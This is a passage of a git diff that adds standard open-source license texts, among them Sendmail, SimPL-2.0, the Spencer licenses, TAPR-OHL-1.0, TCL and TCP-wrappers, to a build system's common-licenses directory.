+ WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+ THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING
+ ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF
+ THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO
+ LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU
+ OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+ PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+ POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided above
+ cannot be given local legal effect according to their terms, reviewing
+ courts shall apply local law that most closely approximates an absolute
+ waiver of all civil liability in connection with the Program, unless a
+ warranty or assumption of liability accompanies a copy of the Program in
+ return for a fee.
+
+ END OF TERMS AND CONDITIONS
diff --git a/meta/files/common-licenses/SWL b/meta/files/common-licenses/SWL
new file mode 100644
index 0000000000..84c9c418a8
--- /dev/null
+++ b/meta/files/common-licenses/SWL
@@ -0,0 +1,7 @@
+The authors hereby grant permission to use, copy, modify, distribute, and license this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this software may be copyrighted by their authors and need not follow the licensing terms described here, provided that the new terms are clearly indicated on the first page of each file where they apply.
+
+IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+
+GOVERNMENT USE: If you are acquiring this software on behalf of the U.S. government, the Government shall have only "Restricted Rights" in the software and related documentation as defined in the Federal Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you are acquiring the software on behalf of the Department of Defense, the software shall be classified as "Commercial Computer Software" and the Government shall have only "Restricted Rights" as defined in Clause 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing, the authors grant the U.S. Government and others acting in its behalf permission to use and distribute the software in accordance with the terms specified in this license.
+
+BY INSTALLING THIS SOFTWARE, YOU ACKNOWLEDGE THAT YOU HAVE READ THIS AGREEMENT, THAT YOU UNDERSTAND IT, AND THAT YOU AGREE TO BE BOUND BY ITS TERMS AND CONDITIONS.
diff --git a/meta/files/common-licenses/Saxpath b/meta/files/common-licenses/Saxpath
new file mode 100644
index 0000000000..f985c29537
--- /dev/null
+++ b/meta/files/common-licenses/Saxpath
@@ -0,0 +1,19 @@
+Copyright (C) 2000-2002 werken digital.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the disclaimer that follows these conditions in the documentation and/or other materials provided with the distribution.
+
+ 3. The name "SAXPath" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact license@saxpath.org.
+
+ 4. Products derived from this software may not be called "SAXPath", nor may "SAXPath" appear in their name, without prior written permission from the SAXPath Project Management (pm@saxpath.org).
+
+In addition, we request (but do not require) that you include in the end-user documentation provided with the redistribution and/or in the software itself an acknowledgement equivalent to the following:
+ "This product includes software developed by the SAXPath Project (http://www.saxpath.org/)."
+
+Alternatively, the acknowledgment may be graphical using the logos available at http://www.saxpath.org/
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE SAXPath AUTHORS OR THE PROJECT CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Sendmail b/meta/files/common-licenses/Sendmail
new file mode 100644
index 0000000000..86eecd39c3
--- /dev/null
+++ b/meta/files/common-licenses/Sendmail
@@ -0,0 +1,36 @@
+SENDMAIL LICENSE
+
+The following license terms and conditions apply, unless a redistribution agreement or other license is obtained from Sendmail, Inc., 6475 Christie Ave, Third Floor, Emeryville, CA 94608, USA, or by electronic mail at license@sendmail.com.
+
+License Terms:
+
+Use, Modification and Redistribution (including distribution of any modified or derived work) in source and binary forms is permitted only if each of the following conditions is met:
+
+1. Redistributions qualify as "freeware" or "Open Source Software" under one of the following terms:
+
+ (a) Redistributions are made at no charge beyond the reasonable cost of materials and delivery.
+
+ (b) Redistributions are accompanied by a copy of the Source Code or by an irrevocable offer to provide a copy of the Source Code for up to three years at the cost of materials and delivery. Such redistributions must allow further use, modification, and redistribution of the Source Code under substantially the same terms as this license. For the purposes of redistribution "Source Code" means the complete compilable and linkable source code of sendmail including all modifications.
+
+2. Redistributions of Source Code must retain the copyright notices as they appear in each Source Code file, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below.
+
+3. Redistributions in binary form must reproduce the Copyright Notice, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below, in the documentation and/or other materials provided with the distribution. For the purposes of binary distribution the "Copyright Notice" refers to the following language:
+"Copyright (c) 1998-2010 Sendmail, Inc. All rights reserved."
+
+4. Neither the name of Sendmail, Inc. nor the University of California nor names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission. The name "sendmail" is a trademark of Sendmail, Inc.
+
+5. All redistributions must comply with the conditions imposed by the University of California on certain embedded code, which copyright Notice and conditions for redistribution are as follows:
+
+ (a) Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved.
+
+ (b) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ (i) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ (ii) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ (iii) Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+6. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY SENDMAIL, INC. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SENDMAIL, INC., THE REGENTS OF THE UNIVERSITY OF CALIFORNIA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+$Revision: 8.16 $, Last updated $Date: 2010/10/25 23:11:19 $, Document 139848.1
diff --git a/meta/files/common-licenses/Sendmail-8.23 b/meta/files/common-licenses/Sendmail-8.23
new file mode 100644
index 0000000000..e076ca3d7d
--- /dev/null
+++ b/meta/files/common-licenses/Sendmail-8.23
@@ -0,0 +1,36 @@
+SENDMAIL LICENSE
+
+The following license terms and conditions apply, unless a redistribution agreement or other license is obtained from Proofpoint, Inc., 892 Ross Street, Sunnyvale, CA, 94089, USA, or by electronic mail at sendmail-license@proofpoint.com.
+
+License Terms:
+
+Use, Modification and Redistribution (including distribution of any modified or derived work) in source and binary forms is permitted only if each of the following conditions is met:
+
+1. Redistributions qualify as "freeware" or "Open Source Software" under one of the following terms:
+
+ (a) Redistributions are made at no charge beyond the reasonable cost of materials and delivery.
+
+ (b) Redistributions are accompanied by a copy of the Source Code or by an irrevocable offer to provide a copy of the Source Code for up to three years at the cost of materials and delivery. Such redistributions must allow further use, modification, and redistribution of the Source Code under substantially the same terms as this license. For the purposes of redistribution "Source Code" means the complete compilable and linkable source code of sendmail and associated libraries and utilities in the sendmail distribution including all modifications.
+
+2. Redistributions of Source Code must retain the copyright notices as they appear in each Source Code file, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below.
+
+3. Redistributions in binary form must reproduce the Copyright Notice, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below, in the documentation and/or other materials provided with the distribution. For the purposes of binary distribution the "Copyright Notice" refers to the following language:
+"Copyright (c) 1998-2014 Proofpoint, Inc. All rights reserved."
+
+4. Neither the name of Proofpoint, Inc. nor the University of California nor names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission. The name "sendmail" is a trademark of Proofpoint, Inc.
+
+5. All redistributions must comply with the conditions imposed by the University of California on certain embedded code, which copyright Notice and conditions for redistribution are as follows:
+
+ (a) Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved.
+
+ (b) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ (i) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ (ii) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ (iii) Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+6. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY SENDMAIL, INC. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SENDMAIL, INC., THE REGENTS OF THE UNIVERSITY OF CALIFORNIA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+$Revision: 8.23 $, Last updated $Date: 2014-01-26 20:10:01 $, Document 139848.1
diff --git a/meta/files/common-licenses/SimPL-2.0 b/meta/files/common-licenses/SimPL-2.0
new file mode 100644
index 0000000000..0fde0fa080
--- /dev/null
+++ b/meta/files/common-licenses/SimPL-2.0
@@ -0,0 +1,37 @@
+Simple Public License (SimPL)
+
+Preamble
+
+This Simple Public License 2.0 (SimPL 2.0 for short) is a plain language implementation of GPL 2.0. The words are different, but the goal is the same - to guarantee for all users the freedom to share and change software. If anyone wonders about the meaning of the SimPL, they should interpret it as consistent with GPL 2.0.
+
+Simple Public License (SimPL) 2.0
+
+The SimPL applies to the software's source and object code and comes with any rights that I have in it (other than trademarks). You agree to the SimPL by copying, distributing, or making a derivative work of the software.
+
+You get the royalty free right to:
+
+- Use the software for any purpose;
+- Make derivative works of it (this is called a "Derived Work");
+- Copy and distribute it and any Derived Work.
+
+If you distribute the software or a Derived Work, you must give back to the community by:
+
+- Prominently noting the date of any changes you make;
+- Leaving other people's copyright notices, warranty disclaimers, and license terms in place;
+- Providing the source code, build scripts, installation scripts, and interface definitions in a form that is easy to get and best to modify;
+- Licensing it to everyone under SimPL, or substantially similar terms (such as GPL 2.0), without adding further restrictions to the rights provided;
+- Conspicuously announcing that it is available under that license.
+
+There are some things that you must shoulder:
+
+- You get NO WARRANTIES. None of any kind;
+- If the software damages you in any way, you may only recover direct damages up to the amount you paid for it (that is zero if you did not pay anything). You may not recover any other damages, including those called "consequential damages." (The state or country where you live may not allow you to limit your liability in this way, so this may not apply to you);
+
+The SimPL continues perpetually, except that your license rights end automatically if:
+
+- You do not abide by the "give back to the community" terms (your licensees get to keep their rights if they abide);
+- Anyone prevents you from distributing the software under the terms of the SimPL.
+
+License for the License
+
+You may do anything that you want with the SimPL text; it's a license form to use in any way that you find helpful. To avoid confusion, however, if you change the terms in any way then you may not call your license the Simple Public License or the SimPL (but feel free to acknowledge that your license is "based on the Simple Public License").
diff --git a/meta/files/common-licenses/Spencer-86 b/meta/files/common-licenses/Spencer-86
new file mode 100644
index 0000000000..8577e881c1
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-86
@@ -0,0 +1,11 @@
+Copyright (c) 1986 by University of Toronto. Written by Henry Spencer. Not derived from licensed software.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to redistribute it freely, subject to the following restrictions:
+
+1. The author is not responsible for the consequences of use of this software, no matter how awful, even if they arise from defects in it.
+
+2. The origin of this software must not be misrepresented, either by explicit claim or by omission.
+
+3. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+Beware that some of this code is subtly aware of the way operator precedence is structured in regular expressions. Serious changes in regular-expression syntax might require a total rethink.
diff --git a/meta/files/common-licenses/Spencer-94 b/meta/files/common-licenses/Spencer-94
new file mode 100644
index 0000000000..75ba7f7d2e
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-94
@@ -0,0 +1,12 @@
+Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved.
+This software is not subject to any license of the American Telephone and Telegraph Company or of the Regents of the University of California.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to alter it and redistribute it, subject to the following restrictions:
+
+1. The author is not responsible for the consequences of use of this software, no matter how awful, even if they arise from flaws in it.
+
+2. The origin of this software must not be misrepresented, either by explicit claim or by omission. Since few users ever read sources, credits must appear in the documentation.
+
+3. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software. Since few users ever read sources, credits must appear in the documentation.
+
+4. This notice may not be removed or altered.
diff --git a/meta/files/common-licenses/Spencer-99 b/meta/files/common-licenses/Spencer-99
new file mode 100644
index 0000000000..ca7099033f
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-99
@@ -0,0 +1,9 @@
+Copyright (c) 1998, 1999 Henry Spencer. All rights reserved.
+
+Development of this software was funded, in part, by Cray Research Inc., UUNET Communications Services Inc., Sun Microsystems Inc., and Scriptics Corporation, none of whom are responsible for the results. The author thanks all of them.
+
+Redistribution and use in source and binary forms - with or without modification - are permitted for any purpose, provided that redistributions in source form retain this entire copyright notice and indicate the origin and nature of any modifications.
+
+I'd appreciate being given credit for this package in the documentation of software which uses it, but that is not a requirement.
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL HENRY SPENCER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TAPR-OHL-1.0 b/meta/files/common-licenses/TAPR-OHL-1.0
new file mode 100644
index 0000000000..e20c23663b
--- /dev/null
+++ b/meta/files/common-licenses/TAPR-OHL-1.0
@@ -0,0 +1,266 @@
+The TAPR Open Hardware License
+Version 1.0 (May 25, 2007)
+Copyright 2007 TAPR - http://www.tapr.org/OHL
+
+PREAMBLE
+
+Open Hardware is a thing - a physical artifact, either electrical or
+mechanical - whose design information is available to, and usable by,
+the public in a way that allows anyone to make, modify, distribute, and
+use that thing. In this preface, design information is called
+"documentation" and things created from it are called "products."
+
+The TAPR Open Hardware License ("OHL") agreement provides a legal
+framework for Open Hardware projects. It may be used for any kind of
+product, be it a hammer or a computer motherboard, and is TAPR's
+contribution to the community; anyone may use the OHL for their Open
+Hardware project.
+
+Like the GNU General Public License, the OHL is designed to guarantee
+your freedom to share and to create. It forbids anyone who receives
+rights under the OHL to deny any other licensee those same rights to
+copy, modify, and distribute documentation, and to make, use and
+distribute products based on that documentation.
+
+Unlike the GPL, the OHL is not primarily a copyright license. While
+copyright protects documentation from unauthorized copying, modification,
+and distribution, it has little to do with your right to make, distribute,
+or use a product based on that documentation. For better or worse, patents
+play a significant role in those activities. Although it does not prohibit
+anyone from patenting inventions embodied in an Open Hardware design, and
+of course cannot prevent a third party from enforcing their patent rights,
+those who benefit from an OHL design may not bring lawsuits claiming that
+design infringes their patents or other intellectual property.
+
+The OHL addresses unique issues involved in the creation of tangible,
+physical things, but does not cover software, firmware, or code loaded
+into programmable devices. A copyright-oriented license such as the GPL
+better suits these creations.
+
+How can you use the OHL, or a design based upon it? While the terms and
+conditions below take precedence over this preamble, here is a summary:
+
+* You may modify the documentation and make products based upon it.
+
+* You may use products for any legal purpose without limitation.
+
+* You may distribute unmodified documentation, but you must include the
+complete package as you received it.
+
+* You may distribute products you make to third parties, if you either
+include the documentation on which the product is based, or make it
+available without charge for at least three years to anyone who requests
+it.
+
+* You may distribute modified documentation or products based on it, if
+you:
+ * License your modifications under the OHL.
+ * Include those modifications, following the requirements stated
+ below.
+ * Attempt to send the modified documentation by email to any of the
+ developers who have provided their email address. This is a good
+ faith obligation - if the email fails, you need do nothing more
+ and may go on with your distribution.
+
+* If you create a design that you want to license under the OHL, you
+should:
+ * Include this document in a file named LICENSE (with the appropriate
+ extension) that is included in the documentation package.
+ * If the file format allows, include a notice like "Licensed under
+ the TAPR Open Hardware License (www.tapr.org/OHL)" in each
+ documentation file. While not required, you should also include
+ this notice on printed circuit board artwork and the product
+ itself; if space is limited the notice can be shortened or
+ abbreviated.
+ * Include a copyright notice in each file and on printed circuit
+ board artwork.
+ * If you wish to be notified of modifications that others may make,
+ include your email address in a file named "CONTRIB.TXT" or
+ something similar.
+
+* Any time the OHL requires you to make documentation available to
+others, you must include all the materials you received from the
+upstream licensors. In addition, if you have modified the
+documentation:
+ * You must identify the modifications in a text file (preferably
+ named "CHANGES.TXT") that you include with the documentation.
+ That file must also include a statement like "These modifications
+ are licensed under the TAPR Open Hardware License."
+ * You must include any new files you created, including any
+ manufacturing files (such as Gerber files) you create in the
+ course of making products.
+ * You must include both "before" and "after" versions of all files
+ you modified.
+ * You may include files in proprietary formats, but you must also
+ include open format versions (such as Gerber, ASCII, Postscript,
+ or PDF) if your tools can create them.
+
+TERMS AND CONDITIONS
+
+1. Introduction
+1.1 This Agreement governs how you may use, copy, modify, and
+distribute Documentation, and how you may make, have made, and
+distribute Products based on that Documentation. As used in this
+Agreement, to "distribute" Documentation means to directly or indirectly
+make copies available to a third party, and to "distribute" Products
+means to directly or indirectly give, loan, sell or otherwise transfer
+them to a third party.
+
+1.2 "Documentation" includes:
+ (a) schematic diagrams;
+ (b) circuit or circuit board layouts, including Gerber and other
+ data files used for manufacture;
+ (c) mechanical drawings, including CAD, CAM, and other data files
+ used for manufacture;
+ (d) flow charts and descriptive text; and
+ (e) other explanatory material.
+Documentation may be in any tangible or intangible form of expression,
+including but not limited to computer files in open or proprietary
+formats and representations on paper, film, or other media.
+
+1.3 "Products" include:
+ (a) circuit boards, mechanical assemblies, and other physical parts
+ and components;
+ (b) assembled or partially assembled units (including components
+ and subassemblies); and
+ (c) parts and components combined into kits intended for assembly
+ by others;
+which are based in whole or in part on the Documentation.
+
+1.4 This Agreement applies to any Documentation which contains a
+notice stating it is subject to the TAPR Open Hardware License, and to
+all Products based in whole or in part on that Documentation. If
+Documentation is distributed in an archive (such as a "zip" file) which
+includes this document, all files in that archive are subject to this
+Agreement unless they are specifically excluded. Each person who
+contributes content to the Documentation is referred to in this
+Agreement as a "Licensor."
+
+1.5 By (a) using, copying, modifying, or distributing the
+Documentation, or (b) making or having Products made or distributing
+them, you accept this Agreement, agree to comply with its terms, and
+become a "Licensee." Any activity inconsistent with this Agreement will
+automatically terminate your rights under it (including the immunities
+from suit granted in Section 2), but the rights of others who have
+received Documentation, or have obtained Products, directly or
+indirectly from you will not be affected so long as they fully comply
+with it themselves.
+
+1.6 This Agreement does not apply to software, firmware, or code
+loaded into programmable devices which may be used in conjunction with
+Documentation or Products. Such software is subject to the license
+terms established by its copyright holder(s).
+
+2. Patents
+2.1 Each Licensor grants you, every other Licensee, and every
+possessor or user of Products a perpetual, worldwide, and royalty-free
+immunity from suit under any patent, patent application, or other
+intellectual property right which he or she controls, to the extent
+necessary to make, have made, possess, use, and distribute Products.
+This immunity does not extend to infringement arising from modifications
+subsequently made by others.
+
+2.2 If you make or have Products made, or distribute Documentation
+that you have modified, you grant every Licensor, every other Licensee,
+and every possessor or user of Products a perpetual, worldwide, and
+royalty-free immunity from suit under any patent, patent application, or
+other intellectual property right which you control, to the extent
+necessary to make, have made, possess, use, and distribute Products.
+This immunity does not extend to infringement arising from modifications
+subsequently made by others.
+
+2.3 To avoid doubt, providing Documentation to a third party for the
+sole purpose of having that party make Products on your behalf is not
+considered "distribution,"\" and a third party's act of making Products
+solely on your behalf does not cause that party to grant the immunity
+described in the preceding paragraph.
+
+2.4 These grants of immunity are a material part of this Agreement,
+and form a portion of the consideration given by each party to the
+other. If any court judgment or legal agreement prevents you from
+granting the immunity required by this Section, your rights under this
+Agreement will terminate and you may no longer use, copy, modify or
+distribute the Documentation, or make, have made, or distribute
+Products.
+
+3. Modifications
+You may modify the Documentation, and those modifications will become
+part of the Documentation. They are subject to this Agreement, as are
+Products based in whole or in part on them. If you distribute the
+modified Documentation, or Products based in whole or in part upon it,
+you must email the modified Documentation in a form compliant with
+Section 4 to each Licensor who has provided an email address with the
+Documentation. Attempting to send the email completes your obligations
+under this Section and you need take no further action if any address
+fails.
+
+4. Distributing Documentation
+4.1 You may distribute unmodified copies of the Documentation in its
+entirety in any medium, provided that you retain all copyright and other
+notices (including references to this Agreement) included by each
+Licensor, and include an unaltered copy of this Agreement.
+4.2 You may distribute modified copies of the Documentation if you
+comply with all the requirements of the preceding paragraph and:
+ (a) include a prominent notice in an ASCII or other open format
+ file identifying those elements of the Documentation that you
+ changed, and stating that the modifications are licensed under
+ the terms of this Agreement;
+ (b) include all new documentation files that you create, as well as
+ both the original and modified versions of each file you change
+ (files may be in your development tool's native file format,
+ but if reasonably possible, you must also include open format,
+ such as Gerber, ASCII, Postscript, or PDF, versions);
+ (c) do not change the terms of this Agreement with respect to
+ subsequent licensees; and
+ (d) if you make or have Products made, include in the Documentation
+ all elements reasonably required to permit others to make
+ Products, including Gerber, CAD/CAM and other files used for
+ manufacture.
+
+5. Making Products
+5.1 You may use the Documentation to make or have Products made,
+provided that each Product retains any notices included by the Licensor
+(including, but not limited to, copyright notices on circuit boards).
+5.2 You may distribute Products you make or have made, provided that
+you include with each unit a copy of the Documentation in a form
+consistent with Section 4. Alternatively, you may include either (i) an
+offer valid for at least three years to provide that Documentation, at
+no charge other than the reasonable cost of media and postage, to any
+person who requests it; or (ii) a URL where that Documentation may be
+downloaded, available for at least three years after you last distribute
+the Product.
+
+6. NEW LICENSE VERSIONS
+TAPR may publish updated versions of the OHL which retain the same
+general provisions as the present version, but differ in detail to
+address new problems or concerns, and carry a distinguishing version
+number. If the Documentation specifies a version number which applies
+to it and "any later version", you may choose either that version or any
+later version published by TAPR. If the Documentation does not specify
+a version number, you may choose any version ever published by TAPR.
+TAPR owns the copyright to the OHL, but grants permission to any person
+to copy, distribute, and use it in unmodified form.
+
+7. WARRANTY AND LIABILITY LIMITATIONS
+7.1 THE DOCUMENTATION IS PROVIDED ON AN"AS-IS" BASIS WITHOUT
+WARRANTY OF ANY KIND, TO THE EXTENT PERMITTED BY APPLICABLE LAW. ALL
+WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY
+WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND
+TITLE, ARE HEREBY EXPRESSLY DISCLAIMED.
+7.2 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL ANY LICENSOR
+BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT,
+INCIDENTAL, CONSEQUENTIAL, PUNITIVE, OR EXEMPLARY DAMAGES ARISING OUT OF
+THE USE OF, OR INABILITY TO USE, THE DOCUMENTATION OR PRODUCTS,
+INCLUDING BUT NOT LIMITED TO CLAIMS OF INTELLECTUAL PROPERTY
+INFRINGEMENT OR LOSS OF DATA, EVEN IF THAT PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+7.3 You agree that the foregoing limitations are reasonable due to
+the non-financial nature of the transaction represented by this
+Agreement, and acknowledge that were it not for these limitations, the
+Licensor(s) would not be willing to make the Documentation available to
+you.
+7.4 You agree to defend, indemnify, and hold each Licensor harmless
+from any claim brought by a third party alleging any defect in the
+design, manufacture, or operation of any Product which you make, have
+made, or distribute pursuant to this Agreement.
+ ####
diff --git a/meta/files/common-licenses/TCL b/meta/files/common-licenses/TCL
new file mode 100644
index 0000000000..4b9cdb48a6
--- /dev/null
+++ b/meta/files/common-licenses/TCL
@@ -0,0 +1,9 @@
+This software is copyrighted by the Regents of the University of California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState Corporation and other parties. The following terms apply to all files associated with the software unless explicitly disclaimed in individual files.
+
+The authors hereby grant permission to use, copy, modify, distribute, and license this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this software may be copyrighted by their authors and need not follow the licensing terms described here, provided that the new terms are clearly indicated on the first page of each file where they apply.
+
+IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+
+GOVERNMENT USE: If you are acquiring this software on behalf of the U.S. government, the Government shall have only "Restricted Rights" in the software and related documentation as defined in the Federal Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you are acquiring the software on behalf of the Department of Defense, the software shall be classified as "Commercial Computer Software" and the Government shall have only "Restricted Rights" as defined in Clause 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing, the authors grant the U.S. Government and others acting in its behalf permission to use and distribute the software in accordance with the terms specified in this license.
diff --git a/meta/files/common-licenses/TCP-wrappers b/meta/files/common-licenses/TCP-wrappers
new file mode 100644
index 0000000000..e13d4f5327
--- /dev/null
+++ b/meta/files/common-licenses/TCP-wrappers
@@ -0,0 +1,7 @@
+Copyright 1995 by Wietse Venema. All rights reserved. Some individual files may be covered by other copyrights.
+
+This material was originally written and compiled by Wietse Venema at Eindhoven University of Technology, The Netherlands, in 1990, 1991, 1992, 1993, 1994 and 1995.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that this entire copyright notice is duplicated in all such copies.
+
